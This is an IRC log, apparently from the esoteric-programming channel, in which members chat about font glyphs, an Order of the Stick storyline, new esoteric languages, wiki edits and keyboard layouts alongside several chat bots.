14:10:05 <oerjan> b_jonas: there are no bugs, they're just out to get you hth
14:10:33 <\oren\> it's not a bug if they really are out to get you
14:10:36 <b_jonas> oerjan: no, there _are_ bugs, but they're trying to tell me there are none to get me
14:10:52 <quintopia> bugs in your bedroom, on your phone line, on your computer...
14:11:09 <b_jonas> they replied to my first report saying that it's not a bug
14:11:25 <b_jonas> I had to write a second report till they believed it
14:11:34 <b_jonas> they still didn't acknoledge it was a bug, mind you
14:14:47 <\oren\> New feature request for OpenSSH: make it so my enemies can't take my passwords.
14:17:06 <b_jonas> \oren\: that's not a feature request. that's http://www.xkcd.com/1086/
14:17:32 <\oren\> I think i've fixed the chinese character wodths btw
14:18:02 <\oren\> yeah looks fixed in both chrome and fireofx
14:18:48 <b_jonas> \oren\: in the demo page, why are some of the Latin Extended still green?
14:20:15 <b_jonas> oh, you added \x{3000}, I just didn't notice it because it wasn't obviously green. great!
14:20:47 <b_jonas> \oren\: ok, now I'd still like a vertical writing version of the kana long vowel sign
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14:22:36 <b_jonas> \oren\: less importantly, "ゝ" and "ゞ"
14:23:07 <b_jonas> but those are weird symbols. the vertical version of the long vowel sign is actually important.
14:23:37 <\oren\> quintopia: http://www.orenwatson.be/fontdemo.htm
14:24:10 <\oren\> it's a page ostensible containing every character in my font sorted into catagories
14:25:15 <\oren\> there's about 5200 characters in the font
14:25:46 <b_jonas> \oren\: and, I might not be familiar with the subtleties here, but isn't the bopomofo letter "ㄧ" supposed to be a horizontal line, similar in appearance to "一" ?
14:25:58 <\oren\> quintopia: why not font?
14:25:59 <b_jonas> in your font it appears as a vertical line
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14:28:30 <b_jonas> \oren\: also, weren't you planning to do the halfwidth Hangul letters at some point?
14:28:42 <b_jonas> it shouldn't be hard because there's only a few dozen
14:29:05 <b_jonas> about 50 or 60 or something
14:33:14 <oerjan> b_jonas: "ㄧ" is vertical in my terminal
14:33:29 <b_jonas> oerjan: maybe it can be vertical then, I don't know
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14:33:44 <fizzie> Writing systems: what are they good for, really?
14:33:56 <fizzie> fungot: Is your code written horizontally or vertically?
14:33:56 <fungot> fizzie: fnord ( b) on the mtv fnord seal the deal on what the second tombolo looked like 100 years ago should attract such nonsense. mormons need to wake up to the sharks and makes them run and hide, constantly chases the tiger barbs, and fnord
14:34:26 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp* youtube
14:34:35 <quintopia> fizzie: they are good for propaganda and lawyers
14:34:53 <fizzie> fungot: What's your opinion on edit wars?
14:34:54 <fungot> fizzie: a native american tribe, and i'm quite pleased with the result. graphs and charts were messed up and it seemed to be useful: " egypt became a powerful modernized, industrial force in the middle ages: western europe'
14:35:06 <fizzie> Ah, the native American Edit War tribe.
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14:36:18 * oerjan sees an obvious last moment solution in oots, if the right priest/god were willing to consider it (maybe heimdall)
14:37:28 <b_jonas> oerjan: the obvious solution is that priests just suck it up and break the rules of the godsmoot openly afterall, because if the world is destroyed, it doesn't matter anymore
14:38:05 <oerjan> i meant a solution that doesn't break the rules.
14:39:05 <oerjan> also, if the rules are broken, the gods that disagree with the result might go to war, or something.
14:39:41 <b_jonas> oerjan: well, one solution is still to just kill the vampire
14:40:04 <oerjan> well, sure, but only roy can do it and no one can help him
14:40:47 <oerjan> but what i'm thinking of is this - the rules forbid taking back votes, but they're still annulled if the priest dies...
14:41:03 <oerjan> so it just requires one suicide.
14:41:33 <b_jonas> oerjan: that won't work. not without breaking rules here. the high priests are representing the gods here, who are ordering them to act on their behalf, including voting.
14:41:44 <b_jonas> they can't suddenly disobey their gods.
14:41:54 <b_jonas> not their own gods that is.
14:42:01 <b_jonas> why would a high priest do that?
14:42:33 <b_jonas> someone else killing a priest, possibly disguised as an unfortunate accident, sure, that could work. but suicide? no way.
14:44:00 <oerjan> b_jonas: because some of the gods, like heimdall, now desperately wish they _could_ change their vote.
14:44:19 <b_jonas> oerjan: no, I don't think gods are now thinking that.
14:44:40 <b_jonas> oerjan: that's just what the fans are thinking, not what the gods are thinking.
14:44:59 <b_jonas> I for one don't think any of the gods want to change their rules.
14:46:08 <oerjan> b_jonas: http://www.giantitp.com/comics/oots1001.html
14:46:26 <oerjan> it's the gods conversing there.
14:46:57 <oerjan> and i said vote, not rules
14:47:34 <b_jonas> oerjan: hmm, maybe, but I don't think the rise of Hel to more power is such a big problem for the gods. Hel would suddenly go from about 0 souls to about 12e6 souls. that's a big deal for Hel clearly, but not that much in the grand scheme of things, when the other gods already have like 1e8 souls or more, and there are 20 other gods around.
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14:48:08 <b_jonas> But even if Heimdall really wanted to change his vote, he can't now, so it doesn't matter.
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14:48:31 <b_jonas> He can't even order his priest to suicide, because that would amount to changing his vote, and breaking the rules, so the gods would turn against her.
14:48:43 <oerjan> b_jonas: http://www.giantitp.com/comics/oots1000.html, panel 12, second bubble
14:49:17 <oerjan> although perhaps Hel is too optimistic.
14:49:28 <b_jonas> oerjan: yes, Hel does say "Queen of the Northern Pantheon", but I don't believe in that
14:49:38 <b_jonas> she would _still_ gain a lot from this
14:49:42 <b_jonas> so it might be worth for hre
14:49:50 <b_jonas> and she can't stop gloating
14:49:59 <b_jonas> I can excuse some hyperboles
14:51:13 <b_jonas> oerjan: also, in #1001, Heimdall doesn't even say anything. only Loki speaks.
14:51:40 <b_jonas> Hel assuming that Heimdall wants to change his vote might be wrong
14:53:17 <oerjan> > compare (10e8/20) 12e6
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14:53:34 <oerjan> > compare (1e8/20) 12e6
14:54:05 <b_jonas> oerjan: um no, you're comparing the wrong awy
14:55:20 <b_jonas> I meant that each god has 1e8 soul, though that might be a bit too much, considering that dwarves live for 200 years and this world might not have existed for so long
14:55:46 <oerjan> well we've not established the total population of the world have we
14:56:49 <b_jonas> And about Heimdall, he gave a speech where he explains that he's totally afraid of "the danger of which we dare not speak" is so important that he has to ignore the comparatively smaller losses like all their followers' bodies.
14:57:04 <oerjan> that was bodies, not souls.
14:57:15 <b_jonas> I don't think even Hel becoming Queen of the Northern Pantheon would make him change his mind, because the danger is still worse than what Hel could do as a Queen
14:57:42 <b_jonas> Hel would still be bound by the laws the gods and pantheons made among themselves, the danger probably doesn't.
14:57:54 <b_jonas> Sure, it's just bodies, but still
14:58:24 <b_jonas> yeah, you have a point, he also says "but their souls will pass on to our respective realms as normal."
14:58:52 <b_jonas> oerjan: we don't know how old the world is, nor whether there are many dwarves compared to other races, such as humans
14:59:10 <b_jonas> Or the exchange rate between dwarf souls and human souls
14:59:37 <oerjan> 1e8 souls per god means 2 billion population for the whole world, which is way above mideval levels.
15:00:20 <b_jonas> oerjan: it's not 2 billion population. that includes all the old souls who'd died centuries ago
15:00:24 <b_jonas> Hel got very little of those
15:04:15 <oerjan> anyway, it's rather narratively unlikely that the world is really going to end at this point, so it's just a matter of how rich burlew resolves it.
15:04:26 <b_jonas> Plus, if the world is destroyed, Thor and Loki might start arguing to rationalize why the dwarves did die in honor afterall, if they were sacrificed as the only solution to protect their gods of a great unknown danger.
15:06:17 <oerjan> that would be just like them.
15:06:37 <oerjan> it was a pretty shitty way to treat Hel from the start.
15:07:05 <oerjan> even if the retribution is disproportional.
15:08:00 <oerjan> of course, she'd probably been an asshole in advance to make them come up with it.
15:09:15 <b_jonas> I'm not sure anyone "came up with it". The gods needn't have known that dwarves would live such an honorable life when they created the world and its races.
15:09:53 <b_jonas> Really. I mean, the other races aren't all like that.
15:10:27 <oerjan> except durkon talked about dwarves ending their lives in honorable battle with conifers.
15:10:51 <oerjan> oh hm is that that tree thing again
15:11:46 <b_jonas> yeah. maybe the other Northern gods were just more successful in motivating dwarves to live an honorable life until their death than Hel was in motivating the dwarves to live a life of sin.
15:11:58 <b_jonas> I don't really know the backstory there.
15:12:29 <oerjan> no, i mean, that's pretty cop out way of getting an "honorable" death.
15:36:48 <shachaf> b_jonas: oerjan presumably logreads or at least loggreps so his absence should not preclude you from olisting hth
15:37:29 <b_jonas> so next time I should simply ask oerjan if I'd like the next strip to appear?
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15:46:24 <lambdabot> oerjan said 17h 20m 2s ago: see logs
15:46:24 <lambdabot> oerjan said 16h 38m 53s ago: <mroman> That sounds very pejorative. <-- it's the actual haskell motto hth
15:46:25 <shachaf> is there anything preventing what's-his-name from killing the yellow-hair halfling?
15:46:47 <shachaf> i guess it's too late now that the demigod priests have already ben fetched
15:47:34 <shachaf> also today's olist is clearly alluding to smlist
15:47:52 <HackEgo> smlist 431: shachaf monqy elliott mnoqy
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16:02:52 <oerjan> shachaf: the halfling is the high priest of balder, so yes.
16:03:07 <oerjan> http://www.giantitp.com/comics/oots0999.html
16:03:49 <shachaf> i thought they sent some other person for some reason
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16:06:10 <b_jonas> isn't it crazy that a god of beauty is called Balder? does that mean balder elves are more beautiful than hairy ones?
16:10:02 <oerjan> b_jonas: "bald" originally meant "white spot", and the name Balder may mean "the white one"
16:12:00 <scoofy> and then boulder dash was born
16:15:04 <oerjan> wiktionary's entry on balderdash says "Unknown, possibly from the early English drink of wine mixed with beer or water or other substances that was sold cheaply."
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17:54:29 <mroman> I thought more specific css rules overwrite less specific
18:03:05 <mroman> how can I set the title of the generated .html with pandoc?
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18:03:56 <hppavilion[1]> \oren\: I never got your opinion on preserving monospace
18:04:21 <mroman> but that's just a prefix
18:05:14 <Taneb> I enjoy giving partial explanations
18:05:26 <Taneb> "Why do you have a cake?" "It was my birthday last Tuesday"
18:06:53 <mroman> damn. now it includes a header div
18:09:37 <HackEgo> [wiki] [[User:-Dark-Phantom-]] M http://esolangs.org/w/index.php?diff=45117&oldid=45113 * -Dark-Phantom- * (+42)
18:10:29 <Taneb> Trivia: if you multiply -Dark-Phantom- with Phantom_Hoover, you get Dark Hoover
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18:12:01 <HackEgo> [wiki] [[User talk:-Dark-Phantom-]] M http://esolangs.org/w/index.php?diff=45118&oldid=45114 * -Dark-Phantom- * (+74)
18:12:29 <Taneb> Actually that might be division
18:12:41 <Taneb> I've just had a seminar on the simplex algorithm
18:12:47 <Taneb> These things get confusing
18:20:05 <Taneb> \oren\ may be using a bouncer
18:27:45 <FireFly> Taneb: wouldn't you either get Dark Phantom² Hoover or Dark/Hoover?
18:28:56 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
18:34:24 <jameseb> Isn't what Taneb mentioned the symmetric difference of -Dark-Phantom- and Phantom_Hoover?
18:35:40 <jameseb> or would that be -Dark--_Hoover?
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19:14:47 <zemhill> web.refresh: points -9.19, score 13.38, rank 45/47
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19:44:02 <HackEgo> [wiki] [[User:-Dark-Phantom-/DStack]] N http://esolangs.org/w/index.php?oldid=45119 * -Dark-Phantom- * (+3096) Under construction...
19:55:23 <HackEgo> [wiki] [[Brian & Chuck]] N http://esolangs.org/w/index.php?oldid=45120 * Martin Büttner * (+4089) Created page with "'''Brian & Chuck''' is an esoteric programming language with two mutually modifying Brainfuck-like programs developed by [[user:Martin Büttner]]. The language was remotely in..."
19:55:53 <HackEgo> [wiki] [[Brian & Chuck]] M http://esolangs.org/w/index.php?diff=45121&oldid=45120 * Martin Büttner * (+0)
20:00:18 <HackEgo> [wiki] [[Brian & Chuck]] http://esolangs.org/w/index.php?diff=45122&oldid=45121 * Martin Büttner * (+205) formatting and examples
20:05:27 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45123&oldid=45102 * Martin Büttner * (+262) add Hexagony and Brian & Chuck
20:07:34 <HackEgo> [wiki] [[User:Martin Büttner]] http://esolangs.org/w/index.php?diff=45124&oldid=44230 * Martin Büttner * (+141) add Brian & Chuck
20:08:27 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45125&oldid=45083 * Martin Büttner * (+20) /* B */ add Brian & Chuck
20:08:53 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45126&oldid=45125 * Martin Büttner * (+16) /* M */
20:13:16 <HackEgo> [wiki] [[User:-Dark-Phantom-/DStack]] http://esolangs.org/w/index.php?diff=45127&oldid=45119 * -Dark-Phantom- * (+550) /* Instructions */
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21:06:49 <izabera> https://github.com/chrissimpkins/codeface oooh
21:10:22 <fizzie> I thought the wine shop sign said they're selling "mouse wine", but it was just a very hastily drawn H.
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21:48:18 <myname> what's the difference to x = function() { ... }; while(x()) { ... }?
21:50:11 <hppavilion[1]> myname: Well, you can call the same while loop repeatedly, and there could be some sort of function that modifies the while loop before calling
21:51:01 <myname> as you can do with an anonymous function
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22:01:30 <b_jonas> draft plan on where I'm considering to put extra letters on my keymap => http://www.math.bme.hu/~ambrus/pu/keymap.html
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22:02:31 <b_jonas> go find the problems with it
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22:09:18 <HackEgo> [wiki] [[User:-Dark-Phantom-/DStack]] http://esolangs.org/w/index.php?diff=45128&oldid=45127 * -Dark-Phantom- * (+1366) /* Instructions */
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22:35:32 <zzo38> I think that CSS should allow priority to be explicitly set for rules, and that user settings are allowed to set the maximum/minimum priorities for CSS from different sources, and then the normal CSS priority rules apply in case of conflict
22:36:26 <zzo38> (So that user CSS has unlimited range of priority, while webpages have a limit)
22:39:41 <zzo38> (Also it would help to allow to select based on rules and select a parent element containing a matched child; this is mainly helpful in user CSS)
22:40:07 <scoofy> write to the consortium
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22:57:40 <HackEgo> [wiki] [[User:-Dark-Phantom-/DStack]] http://esolangs.org/w/index.php?diff=45129&oldid=45128 * -Dark-Phantom- * (+1142) /* Instructions */
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23:02:00 <HackEgo> [wiki] [[User:-Dark-Phantom-/DStack]] http://esolangs.org/w/index.php?diff=45130&oldid=45129 * -Dark-Phantom- * (+99)
23:08:38 <HackEgo> [wiki] [[User:-Dark-Phantom-/DStack]] http://esolangs.org/w/index.php?diff=45131&oldid=45130 * -Dark-Phantom- * (+258) /* Comments */
23:13:59 <HackEgo> [wiki] [[User:-Dark-Phantom-/DStack]] http://esolangs.org/w/index.php?diff=45132&oldid=45131 * -Dark-Phantom- * (+137)
23:18:00 * boily pokes hppavilion[1] with a felt-tip mapole
23:18:14 <boily> *poke poke poke* *poke* *poke poke* *poke poke*
23:18:45 <HackEgo> [wiki] [[User:-Dark-Phantom-/DStack]] http://esolangs.org/w/index.php?diff=45133&oldid=45132 * -Dark-Phantom- * (+162) /* Execution */
23:19:01 <olsner> a soft mapole? sounds like an oxymoron
23:19:19 <HackEgo> boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department.
23:19:34 <hppavilion[1]> boily: You should create a page on Mapoles in your userspace. Or did I do that already in mine? If it's in mine, you should add more information to it
23:20:04 <olsner> it appears that trigotillectomic is a made up boilyword
23:20:33 <boily> hellolsner. I made that word?
23:21:07 <boily> hppavilion[1]: adding infos to the wiki is something I do, yes, but extremely rarely.
23:21:51 <olsner> boily: I get 4 hits on google, three of them are that wisdom entry, the fourth is one of your chickeny quit messages
23:22:44 <boily> probably one of my bests boilywords.
23:23:27 <olsner> it does remind me of trichotillomania though
23:24:01 <HackEgo> trigotillectomic? ¯\(°_o)/¯
23:24:06 <HackEgo> trigotillectomy? ¯\(°_o)/¯
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23:29:29 <b_jonas> Hmm no, this won't work. control+caps-lock+a and control+caps-lock+e are also ahrd to press. I'll have to rethink this whole conception.
23:31:13 <boily> b_jhellonas. working on your layout?
23:33:18 <HackEgo> [wiki] [[User:-Dark-Phantom-/DStack]] http://esolangs.org/w/index.php?diff=45134&oldid=45133 * -Dark-Phantom- * (+3508) /* Examples */
23:33:49 <boily> Phantom_Helloover. Thinking of adding a `le/rn?
23:45:32 <HackEgo> [wiki] [[DStack]] N http://esolangs.org/w/index.php?oldid=45135 * -Dark-Phantom- * (+10318) Almost complete :D
23:46:45 <HackEgo> [wiki] [[User:-Dark-Phantom-]] http://esolangs.org/w/index.php?diff=45136&oldid=45117 * -Dark-Phantom- * (-38)
23:51:23 <HackEgo> [wiki] [[DStack]] http://esolangs.org/w/index.php?diff=45137&oldid=45135 * -Dark-Phantom- * (-15)
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00:03:44 <boily> what was the idea?
00:05:40 <HackEgo> [wiki] [[Talk:DStack]] N http://esolangs.org/w/index.php?oldid=45138 * Hppavilion1 * (+238) 32 bit machines
00:06:17 <HackEgo> [wiki] [[Talk:DStack]] M http://esolangs.org/w/index.php?diff=45139&oldid=45138 * Hppavilion1 * (+95) Signed
00:06:54 <boily> \oren\: that's slereah's schtick, to be on a phone.
00:06:54 -!- oerjan has joined.
00:07:16 <boily> huh. I thought I had something phony about him...
00:07:42 <boily> hppavilion[1]: what kind of train? diesel, electric, maglev?
00:07:50 <oerjan> he's french, is that phony enough?
00:08:09 <hppavilion[1]> I'm not a train fanatic, but suddenly I am in love with this idea
00:08:25 <boily> I'm quasifrench. maybe téléphonesque?
00:08:29 <hppavilion[1]> It's a declarative language that executes on a sort-of-directed graph
00:08:39 <\oren\> im sshing to my computer
00:09:17 <boily> the Wisdom PDF has “He's on a phone!” about Slereah.
00:09:32 <oerjan> `culprits wisdom/slereah
00:09:43 <oerjan> seems to never have existed
00:10:03 <hppavilion[1]> It's kind of like Stare, where imperative instructions are executed upon declarative conditions
00:10:18 <HackEgo> rm: cannot remove `test': No such file or directory
00:10:21 <\oren\> how do you screenshot on android again?
00:10:24 <HackEgo> int-e oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan oerjan Lyrissa mroman_ mroman_ mroman_ mroman_ Hjulle oerjan oerjan elliott oerjan blotter blotter blotter oerjan oerjan oerjan oerjan oerjan Roujo oerjan oerjan oerjan oerjan ais523 ais523 oerjan shachaf elliott FreeFull oer
00:11:18 <HackEgo> ls: cannot access wisdom/*lere*: No such file or directory
00:11:20 <HackEgo> test failed. HackEgo-JUnit is not available.
00:12:36 <boily> \oren\: hold down power and home at the same time. or volume down and power. or volume down and home.
00:13:09 <oerjan> `learn Slereah est sur un téléphone
00:13:12 <HackEgo> Learned 'slereah': Slereah est sur un téléphone
00:13:51 <boily> En effet. D'ailleurs, parlant de Slereah, y'est rendu où?
00:15:02 * oerjan ran that through GT and still doesn't know what boily is asking
00:15:53 <boily> “Indeed. Moreover, speaking about Slereah, where is he?”
00:16:13 <boily> not so bad. GT is improving!
00:16:18 <oerjan> argh stupid tunes doesn't reload when i revisit the tab
00:17:38 <oerjan> boily: he used to be in france...
00:20:22 <oerjan> <Taneb> I enjoy giving partial explanations <-- in the interest of discouraging partiality, why didn't you eat it yet twh
00:22:00 <\oren\> http://www.orenwatson.be/androidscreenshot.png
00:24:03 <HackEgo> [wiki] [[Talk:DStack]] http://esolangs.org/w/index.php?diff=45140&oldid=45139 * SuperJedi224 * (+147)
00:24:16 <HackEgo> [wiki] [[Talk:DStack]] http://esolangs.org/w/index.php?diff=45141&oldid=45140 * SuperJedi224 * (-1)
00:26:35 <boily> @ask Taneb are you asleep?
00:26:41 <Phantom_Hoover> because it's pointless, who cares what you made your website to look good on
00:27:15 <Phantom_Hoover> but the rest of the page is fine and it's obvious what you were going for with the design
00:27:53 <\oren\> good point if you can see the text then...
00:28:45 <HackEgo> [wiki] [[User talk:Ais523]] http://esolangs.org/w/index.php?diff=45142&oldid=42222 * -Dark-Phantom- * (+435) /* Page removal request */ new section
00:28:59 <boily> \oren\: you should add a gopher version of you website.
00:32:04 <HackEgo> [wiki] [[User talk:Ais523]] http://esolangs.org/w/index.php?diff=45143&oldid=45142 * Hppavilion1 * (+254) Advised on question
00:36:20 <zzo38> I made up a gopher server software with C in case you need it and/or want to make improvement of it
00:36:41 <boily> according to Wikipédia, gophers are: «... une famille de rongeurs appelés géomys, gaufres à poche, rats à poche...»
00:37:00 <boily> «gaufres à poche», also known as “pocketed waffles”.
00:38:41 <HackEgo> [wiki] [[TOPL]] N http://esolangs.org/w/index.php?oldid=45144 * Hppavilion1 * (+554) Created Page, figuring out what I'm doing
00:39:07 <Taneb> boily, I am not asleep, just a little distracted
00:39:13 <Taneb> oerjan, I have eaten it now
00:39:18 <HackEgo> [wiki] [[Talk:DStack]] http://esolangs.org/w/index.php?diff=45145&oldid=45141 * -Dark-Phantom- * (+579)
00:39:57 <HackEgo> [wiki] [[Special:Log/delete]] delete * Oerjan * deleted "[[User:-Dark-Phantom-/DStack]]": Author request: content was: "'''DStack''' is a stack-based esoteric language created by [[User:-Dark-Phantom-|-Dark-Phantom-]] on November, 2015. The language uses two stacks, a..." (and the only contributor was "[[Special:Contributions/-Dark-Phantom-|-Dark-Phantom-]]")
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00:42:13 <HackEgo> [wiki] [[User talk:Ais523]] http://esolangs.org/w/index.php?diff=45146&oldid=45143 * -Dark-Phantom- * (+218) /* Page removal request */
00:48:02 <HackEgo> [wiki] [[User talk:Ais523]] http://esolangs.org/w/index.php?diff=45147&oldid=45146 * Oerjan * (+288) /* Page removal request */ Done
00:48:30 <HackEgo> [wiki] [[User talk:Ais523]] M http://esolangs.org/w/index.php?diff=45148&oldid=45147 * Oerjan * (-1) /* Page removal request */ indentation
00:50:15 <zzo38> Do you like all of various new Magic: the Gathering cards that I have made up? There is even a few more recently.
00:50:42 <zzo38> hppavilion[1]: OK, although you should need to describe such thing more specifically too
00:52:14 <zzo38> Such thing as EsOS and intercallian command line; if you make a document (even if just of ideas) then we can see the details of how such thing is working please.
00:52:32 <HackEgo> [wiki] [[User talk:Ais523]] http://esolangs.org/w/index.php?diff=45149&oldid=45148 * -Dark-Phantom- * (+202) /* Page removal request */
00:53:27 <Taneb> As I need to be up early...
00:54:08 <hppavilion[1]> zzo38: This EsOS is being made in Python, because there is /no/ way I was ever going to get it done in C or Rust
00:55:10 <hppavilion[1]> I already have the text renderer and the command line window thing :)
00:55:51 <hppavilion[1]> (I made my own text renderer instead of using Tkinter's create_text function such as to be more eso)
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01:13:29 <adu> hppavilion[1]: oOo meta
01:21:49 <boily> hppavilion[1]: the quinthellopia is quintessential to salute quintopia.
01:22:42 <quintopia> helloily is less essential, as it may be bon matily in the mornings
01:23:40 <boily> huh? eh? wut? CASTLE???
01:23:41 <\oren\> this damnable thing doesnt have page up so i have to prress esc[5~
01:25:51 <\oren\> yes,page up is the same as esc[5~ idk why
01:26:31 <adu> \oren\: oh android
01:27:05 <zzo38> Does Android not define page up key? That isn't very good.
01:27:08 <adu> \oren\: I usually use <cnrl>-i for tab
01:28:06 <adu> hppavilion[1]: noOo
01:28:10 <\oren\> the keyboard im using dorsn't have page up it d have tab tho
01:28:22 <adu> hppavilion[1]: please maybe don't give up
01:28:41 <adu> hppavilion[1]: that's valid INTERCAL
01:29:03 <boily> quintopia: itym "excluded", but "disincluded" is very boilywordlike, so I approve.
01:29:06 <hppavilion[1]> It's not actually that much like INTERCAL because I want it to be usable
01:29:14 <adu> please do run my program
01:29:21 <\oren\> ok I'm on my computer now
01:29:39 <adu> please do exec bash -c "echo hello world"
01:30:22 <hppavilion[1]> adu: Yeah... not THAT intercallian. I'm just going to do weird command names to start with, work towards Eso nirvanna from there
01:31:44 <hppavilion[1]> Anyone have any suggestions for what I should do to make it Eso?
01:31:46 <adu> Eso nirvanna? is there such a thing?
01:32:07 <adu> oh, I get it, eso nirvanna = hell
01:33:30 <quintopia> i think it will be accepted in my lifetime, since it has different shades of meaning than exclude
01:34:16 <boily> An esoptimal language is asymptotic.
01:34:17 <quintopia> "just because we didnt include you doesnt mean we /excluded/ you"
01:34:39 <boily> seen like that, disincluded has to exist.
01:45:19 <oerjan> some day, it will no longer be disincluded from the dictionary
01:52:00 <zzo38> Another kind of INTERCAL that I made up is stuff like: MAYBE DO NOT COME FROM CHOICE
01:52:42 <zzo38> (where CHOICE represents the choicepoint stack)
01:52:51 * adu *mind blown*
01:53:55 <adu> https://youtu.be/NxC4sGpIDTw
01:54:04 <zzo38> (CHOICE is for back-tracking and LIFE is for front-tracking; I don't know how front-tracking is working though!)
01:54:48 <boily> @tell quintopia the language is quite nice! I got distracted by golly >_>'...
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01:56:25 <hppavilion[1]> I see that sequence above me as "boily's last wish was to tell quintopia that the language is good, before he entered an irreversible spiral into the world of Golly, where he would meet his demise. Time of death: 16:55:00 on 2015-11-06."
01:58:23 <oerjan> it's a little known fact that the game of life contains black holes that suck you in
02:00:33 <lifthrasiir> oerjan: in the real projective plane, I knew that
02:01:07 <adu> oerjan: it's a little known fact that https://en.wikipedia.org/wiki/Wolfram's_2-state_3-symbol_Turing_machine is the smallest universal Turing machine
02:02:09 <hppavilion[1]> INTERCOM's metaphors are all related to fishing for some reason
02:03:42 <oerjan> adu: exercise: starting from that page, find ais523's middle name
02:03:55 <adu> I don't know ais523's middle name
02:04:45 <oerjan> well that would be telling.
02:06:11 <oerjan> actually his last name is Smith hth
02:06:25 <oerjan> (that should be enough of a hint)
02:09:39 <oerjan> the exercise wasn't about guessing btw
02:10:01 <oerjan> but about digging out evidence.
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02:17:03 <adu> oerjan: found it: "I/O"
02:17:15 <adu> Alex I/O Smith
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02:19:34 <HackEgo> [wiki] [[Talk:DStack]] http://esolangs.org/w/index.php?diff=45150&oldid=45145 * SuperJedi224 * (+128)
02:19:42 <HackEgo> [wiki] [[Talk:DStack]] http://esolangs.org/w/index.php?diff=45151&oldid=45150 * SuperJedi224 * (+98)
02:24:30 <adu> oerjan: is it infinite?
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02:35:37 <oerjan> i seem to recall i said this was not about guessing.
02:40:06 <adu> http://www.gossamer-threads.com/lists/engine?user=4464;list=wiki
02:41:07 <oerjan> and in an unexpected way, too
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02:42:43 <hppavilion[1]> I can only have commands with a single argument the way the data model works
02:42:55 <adu> hppavilion[1]: I'm writing a language like that
02:43:42 <hppavilion[1]> I want to have advanced commands in the same vein as grep and such to be possible, but I don't know how
02:43:53 <adu> there are only two commands <keyword>! { <block> } and <keyword> <expr>? { <block> }
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02:45:16 <adu> and the way I solved it was to add parentheses
02:47:02 <hppavilion[1]> The language's data model is fairly complex: An infinite array of deques, an accumulator stack, and a scalar intermediate accumulator through which all inbound and outbound data much cross
02:47:45 <hppavilion[1]> And I've backed myself into a corner by making it scalar. Now I don't know how to have multi-argument functions
02:47:57 <hppavilion[1]> And I don't see how to fix it by making it an array
02:48:46 <hppavilion[1]> And I can't make it a stack, because it has to hold data even when one uses data from it
02:48:51 <HackEgo> [wiki] [[Talk:Brainfuck--]] http://esolangs.org/w/index.php?diff=45152&oldid=34258 * SuperJedi224 * (+110)
02:50:16 <adu> hppavilion[1]: I prefer belts to stacks
02:51:07 <adu> belts are stacks with a fixed size
02:53:23 <adu> technically all stacks are belts, but they're belts of length 100 MiB, whereas most belts are of length 16 or so
02:53:38 <adu> hppavilion[1]: nope
02:54:05 <hppavilion[1]> Basically, the data model of a 2Queue is a queue of queues
02:54:43 <hppavilion[1]> When you dequeue an element, you're really dequeuing a queue, dequeuing an element called "e" from that queue, reenqueuing that queue, then returning e.
02:56:18 <adu> could be used to break up a queue into a distributed queue
02:56:33 <hppavilion[1]> (Enqueuing is similar: Dequeue a queue, enqueue the element, enqueue the new queue)
02:56:54 <adu> like the stuff that needs to be done vs. stuff that is going to be done by Host#101
02:57:27 <hppavilion[1]> (well, a queue*stack, as data structure multiplication isn't communist)
02:57:55 <adu> computing behind the iron curtain...
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03:32:02 <zzo38> I know once when I told my brother that something was not commutative, he then asked, "But is it communist?"
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03:47:09 <zzo38> I think I have now figured out how to do vertical discretionaries with prebreak texts and postbreak texts in TeX, although not how to do nonbreak texts.
03:49:07 <zzo38> (For example, you can write "(continued on next page)" on the bottom of a page.)
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04:04:26 <Jafet> The clean subset of Grossfunge.
04:09:34 <hppavilion[1]> nchambers: It's a fungeoid with mechanisms to manipulate topology
04:14:18 <HackEgo> [wiki] [[Kleinfunge]] http://esolangs.org/w/index.php?diff=45153&oldid=44821 * Hppavilion1 * (+143) Stargates, why not?
04:16:18 <HackEgo> [wiki] [[Kleinfunge]] http://esolangs.org/w/index.php?diff=45154&oldid=45153 * Hppavilion1 * (+248) Utility
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04:37:13 <Sgeo> lol I have a file that says it was created today, 10 minutes ago, and modified in 2008
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04:43:59 <Sgeo> Copied an old file to my desktop
04:46:00 <HackEgo> [wiki] [[DStack]] http://esolangs.org/w/index.php?diff=45155&oldid=45137 * -Dark-Phantom- * (+31) link to GitHub
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04:56:44 <HackEgo> [wiki] [[User talk:CakeProphet]] N http://esolangs.org/w/index.php?oldid=45156 * Hppavilion1 * (+175) EsOS
04:58:27 <zzo38> Why is the spacing of the output of the "wc" command different when the input is redirected from a file as it is when redirected from a pipe?
05:07:54 <HackEgo> [wiki] [[DStack]] http://esolangs.org/w/index.php?diff=45157&oldid=45155 * -Dark-Phantom- * (+115) categories
05:09:22 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45158&oldid=45126 * -Dark-Phantom- * (+13) /* D */ DStack
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05:23:28 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45159&oldid=45123 * -Dark-Phantom- * (+102) DStack
05:32:54 <HackEgo> [wiki] [[Truth-machine]] http://esolangs.org/w/index.php?diff=45160&oldid=44349 * -Dark-Phantom- * (+37) DStack
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06:40:44 <HackEgo> [wiki] [[CASTLE]] http://esolangs.org/w/index.php?diff=45161&oldid=45116 * Quintopia * (+1421) Made explicit the (random) way marked cells behave under symmetries. Added prefix to prevent marked cell permutation.
07:02:51 <Jafet> `` wc <canary; cat canary | wc
07:03:32 <Jafet> `` wc <(cat canary)
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07:39:26 <HackEgo> 00000000 53 70 6a c3 a6 74 74 21 0a |Spj..tt!.| \ 00000009
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08:42:11 <mroman> Why isn't it ##esoteric btw?
09:05:08 <fizzie> There was some talk of moving at some point, but nobody seemed to be that interested.
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09:11:15 <myname> so... anybody has an opinion about that GI thing?
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11:17:16 <b_jonas> mroman: yeah... we don't want to move. I'm running #jsoftware too, which totally should be double-flatted,
11:18:52 <b_jonas> If someone seriously comes up and convinces freenode that he needs the single-sharped channel, then we'll move, but that's unlikely
